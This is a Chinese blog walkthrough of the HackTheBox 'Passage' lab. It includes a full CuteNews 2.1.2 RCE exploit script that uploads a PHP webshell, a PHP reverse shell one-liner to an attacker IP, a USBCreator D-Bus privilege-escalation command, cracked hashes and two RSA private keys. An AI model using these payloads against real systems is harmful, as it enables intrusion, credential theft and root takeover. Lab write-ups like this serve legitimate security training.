BX33661
2025-03-29
点 赞
0
热 度
229
评 论
0

HTB-Passage学习分析

文章摘要

Bpple-GPT

HTB-Passage学习分析

这个靶场还是感觉不错的

我的总结如下:

就是发现一个 cutenews(php)框架的网站,但是存在任意命令执行漏洞,我们可以 getshell (可以直接用 msf 去攻击)然后一步一步的从普通用户最后升级到 root 用户,重点是信息获取 ssh 的密钥,同时实践了一下使用 linux 探针去寻找漏洞,最后是一个关于 usb 的漏洞,帮助我们拿到 root 的 ssh 私钥

Nmap 扫描一下,两个端口开放

 ┌──(root㉿kali)-[/home/bx]
 └─# nmap -sV -sC 10.10.10.206      
 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-29 14:59 CST
 Nmap scan report for 10.10.10.206
 Host is up (0.062s latency).
 Not shown: 998 closed tcp ports (reset)
 PORT   STATE SERVICE VERSION
 22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
 | ssh-hostkey: 
 |   2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
 |   256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
 |_  256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
 80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
 |_http-server-header: Apache/2.4.18 (Ubuntu)
 |_http-title: Passage News
 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

:::success How many open TCP ports are listening on Passage? ** ********Passage 上监听了多少个开放的 TCP 端口?**


2

:::

继续查看,网站最下面基于 CuteNews开发

:::success What content management system (CMS) is being used to host the website? ** ********正在使用什么内容管理系统(CMS)托管该网站?**


CuteNews

:::

在登录界面看到版本号

:::success What is the 2019 CVE ID for a remote code execution vulnerability in this version of CuteNews? ** ********什么是 CuteNews 版本中远程代码执行漏洞的 2019 CVE ID?**


CVE-2019-11447

:::

阿里云漏洞库

 searchsploit CuteNews 2.1.2
 
 searchsploit CuteNews 2.1.2 -m 48800.py

MSF 启动,发现有好几个利用方式,我们用 48800.py

具体 exp 见文末附件

 python3 48800.py
 

输入我们靶机的 url,成功执行了,同时发现我们现在是 www-data用户

 whoami

:::success What user is the webserver running as on Passage? ** ********该 Web 服务器在 Passage 上以哪个用户运行?**


www-data

:::

我们尝试反弹 shell,发现存在 Python 和 php 这些服务

PHP 反弹 shell

 php -r '$sock=fsockopen("10.10.16.29",3366);exec("/bin/sh -i <&3 >&3 2>&3");'

成功反弹回来,升级一下 shell

 python3 -c "import pty;pty.spawn('/bin/bash')"
 cd /home
 ls
 #nadav paul

还是信息的搜集

cdata目录下的 user文件夹存在很多信息

我们可以从中提取出来用户密码的 hash 值

这里我直接放在 chef base64 解码去找信息了,因为被序列化了,所以可读性比较差的

 4632ff1f4ad668f21ee40c66dc75785075df6e1f26e8745be64174d7e18f1eb4";s:4:"more";s:60:"YToyOntzOjQ6InNpdGUiO3M6MDoiIjtzOjU6ImFib3V0IjtzOjA6IiI7fQ==
 
 
 
 <?php die('Direct call - access denied'); ?>
 YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6MTA6InBhdWwtY29sZXMiO319<?php die('Direct call - access denied'); ?>
 YToxOntzOjI6ImlkIjthOjE6e2k6MTU5ODgyOTgzMztzOjY6ImVncmU1NSI7fX0=<?php die('Direct call - access denied'); ?>
 YToxOntzOjQ6Im5hbWUiO2E6MTp7czoxMDoiMzJiaVBucUpHNiI7YTo5OntzOjI6ImlkIjtzOjEwOiIxNzQzMjMxODAwIjtzOjQ6Im5hbWUiO3M6MTA6IjMyYmlQbnFKRzYiO3M6MzoiYWNsIjtzOjE6IjQiO3M6NToiZW1haWwiO3M6MTg6IjMyYmlQbnFKRzZAaGFjay5tZSI7czo0OiJuaWNrIjtzOjEwOiIzMmJpUG5xSkc2IjtzOjQ6InBhc3MiO3M6NjQ6IjQ2MzJmZjFmNGFkNjY4ZjIxZWU0MGM2NmRjNzU3ODUwNzVkZjZlMWYyNmU4NzQ1YmU2NDE3NGQ3ZTE4ZjFlYjQiO3M6NDoibW9yZSI7czo2MDoiWVRveU9udHpPalE2SW5OcGRHVWlPM002TURvaUlqdHpPalU2SW1GaWIzVjBJanR6T2pBNklpSTdmUT09IjtzOjY6ImF2YXRhciI7czozMjoiYXZhdGFyXzMyYmlQbnFKRzZfMzJiaVBucUpHNi5waHAiO3M6NjoiZS1oaWRlIjtzOjA6IiI7fX19<?php die('Direct call - access denied'); ?>
 YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6ImVncmU1NUB0ZXN0LmNvbSI7czo2OiJlZ3JlNTUiO319<?php die('Direct call - access denied'); ?>
 YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTg6IjMyYmlQbnFKRzZAaGFjay5tZSI7czoxMDoiMzJiaVBucUpHNiI7fX0=<?php die('Direct call - access denied'); ?>
 YToxOntzOjQ6Im5hbWUiO2E6MTp7czo1OiJhZG1pbiI7YTo4OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMDQ3IjtzOjQ6Im5hbWUiO3M6NToiYWRtaW4iO3M6MzoiYWNsIjtzOjE6IjEiO3M6NToiZW1haWwiO3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjQ6InBhc3MiO3M6NjQ6IjcxNDRhOGI1MzFjMjdhNjBiNTFkODFhZTE2YmUzYTgxY2VmNzIyZTExYjQzYTI2ZmRlMGNhOTdmOWUxNDg1ZTEiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg3OTg4IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIyIjt9fX0=<?php die('Direct call - access denied'); ?>
 YToxOntzOjI6ImlkIjthOjE6e2k6MTU5ODkxMDg5NjtzOjY6ImhhY2tlciI7fX0=<?php die('Direct call - access denied'); ?>
 YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzI4MTtzOjk6InNpZC1tZWllciI7fX0=<?php die('Direct call - access denied'); ?>
 YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjU6ImFkbWluIjt9fQ==<?php die('Direct call - access denied'); ?>
 YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6ImtpbUBleGFtcGxlLmNvbSI7czo5OiJraW0tc3dpZnQiO319<?php die('Direct call - access denied'); ?>
 YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MjA6ImhhY2tlckBoYWNrZXIuaGFja2VyIjtzOjY6ImhhY2tlciI7fX0=<?php die('Direct call - access denied'); ?>
 YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzIzNjtzOjEwOiJwYXVsLWNvbGVzIjt9fQ==<?php die('Direct call - access denied'); ?>
 YToxOntzOjQ6Im5hbWUiO2E6MTp7czo5OiJzaWQtbWVpZXIiO2E6OTp7czoyOiJpZCI7czoxMDoiMTU5MjQ4MzI4MSI7czo0OiJuYW1lIjtzOjk6InNpZC1tZWllciI7czozOiJhY2wiO3M6MToiMyI7czo1OiJlbWFpbCI7czoxNToic2lkQGV4YW1wbGUuY29tIjtzOjQ6Im5pY2siO3M6OToiU2lkIE1laWVyIjtzOjQ6InBhc3MiO3M6NjQ6IjRiZGQwYTBiYjQ3ZmM5ZjY2Y2JmMWE4OTgyZmQyZDM0NGQyYWVjMjgzZDFhZmFlYmI0NjUzZWMzOTU0ZGZmODgiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg1NjQ1IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIyIjt9fX0=<?php die('Direct call - access denied'); ?>
 YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzA0NztzOjU6ImFkbWluIjt9fQ==<?php die('Direct call - access denied'); ?>
 YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6InNpZEBleGFtcGxlLmNvbSI7czo5OiJzaWQtbWVpZXIiO319<?php die('Direct call - access denied'); ?>
 YToxOntzOjQ6Im5hbWUiO2E6MTp7czoxMDoicGF1bC1jb2xlcyI7YTo5OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMjM2IjtzOjQ6Im5hbWUiO3M6MTA6InBhdWwtY29sZXMiO3M6MzoiYWNsIjtzOjE6IjIiO3M6NToiZW1haWwiO3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6NDoibmljayI7czoxMDoiUGF1bCBDb2xlcyI7czo0OiJwYXNzIjtzOjY0OiJlMjZmM2U4NmQxZjgxMDgxMjA3MjNlYmU2OTBlNWQzZDYxNjI4ZjQxMzAwNzZlYzZjYjQzZjE2ZjQ5NzI3M2NkIjtzOjM6Imx0cyI7czoxMDoiMTU5MjQ4NTU1NiI7czozOiJiYW4iO3M6MToiMCI7czozOiJjbnQiO3M6MToiMiI7fX19<?php die('Direct call - access denied'); ?>
 YToxOntzOjI6ImlkIjthOjE6e2k6MTc0MzIzMTgwMDtzOjEwOiIzMmJpUG5xSkc2Ijt9fQ==<?php die('Direct call - access denied'); ?>
 YToxOntzOjQ6Im5hbWUiO2E6MTp7czo5OiJraW0tc3dpZnQiO2E6OTp7czoyOiJpZCI7czoxMDoiMTU5MjQ4MzMwOSI7czo0OiJuYW1lIjtzOjk6ImtpbS1zd2lmdCI7czozOiJhY2wiO3M6MToiMyI7czo1OiJlbWFpbCI7czoxNToia2ltQGV4YW1wbGUuY29tIjtzOjQ6Im5pY2siO3M6OToiS2ltIFN3aWZ0IjtzOjQ6InBhc3MiO3M6NjQ6ImY2NjlhNmY2OTFmOThhYjA1NjIzNTZjMGNkNWQ1ZTdkY2RjMjBhMDc5NDFjODZhZGNmY2U5YWYzMDg1ZmJlY2EiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg3MDk2IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIzIjt9fX0=<?php die('Direct call - access denied'); ?>
 <?php die('Direct call - access denied'); ?>
 <?php die('Direct call - access denied'); ?>
 YToxOntz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1YwSWp0ek9qQTZJaUk3ZlE9PSI7czo2OiJhdmF0YXIiO3M6MjY6ImF2YXRhcl9oYWNrZXJfanB5b3lza3QucGhwIjtzOjY6ImUtaGlkZSI7czowOiIiO319fQ==<?php die('Direct call - access denied'); ?>
 YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzMwOTtzOjk6ImtpbS1zd2lmdCI7fX0=www-data@passage:/var/www/html/CuteNews/cdata/users$ 
 

我们继续爆破破解最后得到密码是

atlanta1

:::info What is the paul user's password on Passage? ** ********Passage 上的 paul 用户密码是什么?**


e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd:atlanta1

:::

:::success Submit the flag located in the paul user's home directory. ** ********提交位于 paul 用户家目录中的 flag。**


c96fb30c911d6156caa423afb2e878d7

:::

我们继续信息审查

 cd .ssh
 ls
 # authorized_keys  id_rsa  id_rsa.pub  known_hosts

我们把私钥读出来

 paul@passage:~/.ssh$ cat id_rsa
 cat id_rsa
 -----BEGIN RSA PRIVATE KEY-----
 MIIEpAIBAAKCAQEAs14rHBRld5fU9oL1zpIfcPgaT54Rb+QDj2oAK4M1g5PblKu/
 +L+JLs7KP5QL0CINoGGhB5Q3aanfYAmAO7YO+jeUS266BqgOj6PdUOvT0GnS7M4i
 Z2Lpm4QpYDyxrgY9OmCg5LSN26Px948WE12N5HyFCqN1hZ6FWYk5ryiw5AJTv/kt
 rWEGu8DJXkkdNaT+FRMcT1uMQ32y556fczlFQaXQjB5fJUXYKIDkLhGnUTUcAnSJ
 JjBGOXn1d2LGHMAcHOof2QeLvMT8h98hZQTUeyQA5J+2RZ63b04dzmPpCxK+hbok
 sjhFoXD8m5DOYcXS/YHvW1q3knzQtddtqquPXQIDAQABAoIBAGwqMHMJdbrt67YQ
 eWztv1ofs7YpizhfVypH8PxMbpv/MR5xiB3YW0DH4Tz/6TPFJVR/K11nqxbkItlG
 QXdArb2EgMAQcMwM0mManR7sZ9o5xsGY+TRBeMCYrV7kmv1ns8qdd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azDs
 OR3ygpKs09yu7svQi8j2qwc7FL6DER74yws+f538hI7SHBv9fYPVyw==
 -----END RSA PRIVATE KEY-----

然后我们尝试利用 ssh

ssh 成功连接上来

 ssh -i pp_key [email protected]
 ssh -i pp_key [email protected]

上传那个豌豆,进行扫描

Release Release refs/heads/master 20250320-91fb36a0 · peass-ng/PEASS-ng

发现一个 <font style="color:rgb(36, 36, 36);">USBCreator D-Bus</font>的影响

利用这个 Payload

https://gist.github.com/noobpk/a4f0a029488f37939c4df6e20472501d

最后 Payload 如下

 gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/id_root true

我们在/tmp 目录在获得这个 ssh 密钥

 -----BEGIN RSA PRIVATE KEY-----
 MIIEogIBAAKCAQEAth1mFSVw6Erdhv7qc+Z5KWQMPtwTsT9630uzpq5fBx/KKzqZ
 B7G3ej77MN35+ULlwMcpoumayWK4yZ/AiJBm6FEVBGSwjSMpOGcNXTL1TClGWbdE
 +WNBT+30n0XJzi/JPhpoWhXM4OqYLCysX+/b0psF0jYLWy0MjqCjCl/muQtD6f2e
 jc2JY1KMMIppoq5DwB/jJxq1+eooLMWVAo9MDNDmxDiw+uWRUe8nj9qFK2LRKfG6
 U6wnyQ10ANXIdRIY0bzzhQYTMyH7o5/sjddrRGMDZFmOq6wHYN5sUU+sZDYD18Yg
 ezdTw/BBiDMEPzZuCUlW57U+eX3uY+/Iffl+AwIDAQABAoIBACFJkF4vIMsk3AcP
 0zTqHJ1nLyHSQjs0ujXUdXrzBmWb9u0d4djZMAtFNc7B1C4ufyZUgRTJFETZKaOY
 8q1Dj7vJDklmSisSETfBBl1RsiqApN5DNHVNIiQE/6CZNgDdFTCnzQkiUPePic8R
 P1St2AVP1qmMvVimDFSJoiOEUfzidepXEEUQrByNmOJDtewMSm4aGz60ced2XCBr
 GTt/wyo0y5ygRJkUcC+/o4/r2DQdrjCbeuyzAzzhFKQQx6HN5svzpi0jOWC0cB0W
 GmAp5Q7fIFhuGyrxShs/BEuQP7q7Uti68iwEh2EZSlaMcBFEJvirWtIO7U3yIHYI
 HnNlLvECgYEA7tpebu84sTuCarHwASAhstiCR5LMquX/tZtHi52qKKmYzG6wCCMg
 S/go8DO8AX5mldkegD7KBmTeMNPKp8zuE8s+vpErCBH+4hOq6U1TwZvDQ2XY9HBz
 aHz7vG5L8E7tYpJ64Tt8e0DcnQQtW8EqFIydipO0eLdxkIGykjWuYGsCgYEAwzBM
 UZMmOcWvUULWf65VSoXE270AWP9Z/XuamG/hNpREDZEYvHmhucZBf1MSGGU/B7MC
 YXbIs1sS6ehDcib8aCVdOqRIqhCqCd1xVnbE0T4F2s1yZkct09Bki6EuXPDo2vhy
 /6v6oP+yT5z854Vfq0FWxmDUssMbjXkVLKIZ3skCgYAYvxsllzdidW3vq/vXwgJ7
 yx7EV5tI4Yd6w1nIR0+H4vpnw9gNH8aK2G01ZcbGyNfMErCsTNUVkIHMwUSv2fWY
 q2gWymeQ8Hxd4/fDMDXLS14Rr42o1bW/T6OtRCgt/59spQyCJW2iP3gb9IDWjs7T
 TjZMUz1RfIARnr5nk5Q7fQKBgGESVxJGvT8EGoGuXODZAZ/zUQj7QP4B2G5hF2xy
 T64GJKYeoA+z6gNrHs3EsX4idCtPEoMIQR45z/k2Qry1uNfOpUPxyhWR/g6z65bV
 sGJjlyPPAvLsuVTbEfYDLfyY7yVfZEnU7Os+3x4K9BfsU7zm3NIB/CX/NGeybR5q
 a7VJAoGANui4oMa/9x8FSoe6EPsqbUcbJCmSGPqS8i/WZpaSzn6nW+636uCgB+EP
 WOtSvOSRRbx69j+w0s097249fX6eYyIJy+L1LevF092ExQdoc19JTTKJZiWwlk3j
 MkLnfTuKj2nvqQQ2fq+tIYEhY6dcSRLDQkYMCg817zynfP0I69c=
 -----END RSA PRIVATE KEY-----
 

利用这个去 ssh 登录

这里注意私钥要给个 600 权限

不然 ssh 登录会报错

:::success Submit the flag located in the root user's home directory. ** ********提交位于 root 用户家目录下的 flag。**


dbb5dac762760e5362ef68b996a659e2

:::

完成

这个靶场还是十分不错的

附件

attack cutenews 的 Payload

 # Exploit Title: CuteNews 2.1.2 - Remote Code Execution
 # Google Dork: N/A
 # Date: 2020-09-10
 # Exploit Author: Musyoka Ian
 # Vendor Homepage: https://cutephp.com/cutenews/downloading.php
 # Software Link: https://cutephp.com/cutenews/downloading.php
 # Version: CuteNews 2.1.2
 # Tested on: Ubuntu 20.04, CuteNews 2.1.2
 # CVE : CVE-2019-11447
 
 #! /bin/env python3
 
 import requests
 from base64 import b64decode
 import io
 import re
 import string
 import random
 import sys
 
 
 banner = """
 
 
            _____     __      _  __                     ___   ___  ___ 
           / ___/_ __/ /____ / |/ /__ _    _____       |_  | <  / |_  |
          / /__/ // / __/ -_)    / -_) |/|/ (_-<      / __/_ / / / __/ 
          \___/\_,_/\__/\__/_/|_/\__/|__,__/___/     /____(_)_(_)____/ 
                                 ___  _________                        
                                / _ \/ ___/ __/                        
                               / , _/ /__/ _/                          
                              /_/|_|\___/___/                          
                                                                       
 
                                                                                                                                                    
 """
 print (banner)
 print ("[->] Usage python3 expoit.py")
 print ()
 sess = requests.session()
 payload = "GIF8;\n<?php system($_REQUEST['cmd']) ?>"
 ip = input("Enter the URL> ")
 def extract_credentials():
     global sess, ip
     url = f"{ip}/CuteNews/cdata/users/lines"
     encoded_creds = sess.get(url).text
     buff = io.StringIO(encoded_creds)
     chash = buff.readlines()
     if "Not Found" in encoded_creds:
             print ("[-] No hashes were found skipping!!!")
             return
     else:
         for line in chash:
             if "<?php die('Direct call - access denied'); ?>" not in line:
                 credentials = b64decode(line)
                 try:
                     sha_hash = re.search('"pass";s:64:"(.*?)"', credentials.decode()).group(1)
                     print (sha_hash)
                 except:
                     pass
 def register():
     global sess, ip
     userpass = "".join(random.SystemRandom().choice(string.ascii_letters + string.digits ) for _ in range(10))
     postdata = {
         "action" : "register",
         "regusername" : userpass,
         "regnickname" : userpass,
         "regpassword" : userpass,
         "confirm" : userpass,
         "regemail" : f"{userpass}@hack.me"
     }
     register = sess.post(f"{ip}/CuteNews/index.php?register", data = postdata, allow_redirects = False)
     if 302 == register.status_code:
         print (f"[+] Registration successful with username: {userpass} and password: {userpass}")
     else:
         sys.exit()
 def send_payload(payload):
     global ip
     token = sess.get(f"{ip}/CuteNews/index.php?mod=main&opt=personal").text
     signature_key = re.search('signature_key" value="(.*?)"', token).group(1)
     signature_dsi = re.search('signature_dsi" value="(.*?)"', token).group(1)
     logged_user = re.search('disabled="disabled" value="(.*?)"', token).group(1)
     print (f"signature_key: {signature_key}")
     print (f"signature_dsi: {signature_dsi}")
     print (f"logged in user: {logged_user}")
 
     files = {
         "mod" : (None, "main"),
         "opt" : (None, "personal"),
         "__signature_key" : (None, f"{signature_key}"),
         "__signature_dsi" : (None, f"{signature_dsi}"),
         "editpassword" : (None, ""),
         "confirmpassword" : (None, ""),
         "editnickname" : (None, logged_user),
         "avatar_file" : (f"{logged_user}.php", payload),
         "more[site]" : (None, ""),
         "more[about]" : (None, "")
     }
     payload_send = sess.post(f"{ip}/CuteNews/index.php", files = files).text
     print("============================\nDropping to a SHELL\n============================")
     while True:
         print ()
         command = input("command > ")
         postdata = {"cmd" : command}
         output = sess.post(f"{ip}/CuteNews/uploads/avatar_{logged_user}_{logged_user}.php", data=postdata)
         if 404 == output.status_code:
             print ("sorry i can't find your webshell try running the exploit again")
             sys.exit()
         else:
             output = re.sub("GIF8;", "", output.text)
             print (output.strip())
 
 if __name__ == "__main__":
     print ("================================================================\nUsers SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN\n================================================================")
     extract_credentials()
     print ("================================================================")
     print()
     print ("=============================\nRegistering a users\n=============================")
     register()
     print()
     print("=======================================================\nSending Payload\n=======================================================")
     send_payload(payload)
     print ()
             

参考文章:

https://cyberkareem.medium.com/hackthebox-passage-walkthrough-6860a0b1e76e

HTB: Passage


用键盘敲击出的不只是字符,更是一段段生活的剪影、一个个心底的梦想。希望我的文字能像一束光,在您阅读的瞬间,照亮某个角落,带来一丝温暖与共鸣。

BX33661

站长

具有版权性

请您在转载、复制时注明本文 作者、链接及内容来源信息。 若涉及转载第三方内容,还需一同注明。

具有时效性

目录

欢迎来到Bpple的站点,为您导航全站动态

64 文章数
20 分类数
44 评论数
15标签数
最近评论
bpple

bpple


一切顺利

fetain

fetain


good luck

bx

bx


good luck

热门文章

Emoji收集

2024-11-01

542
Hello Halo

2024-10-30

524
本地部署LLM

2024-08-22

505
Uptime Kuma

2024-11-29

499
229

访问统计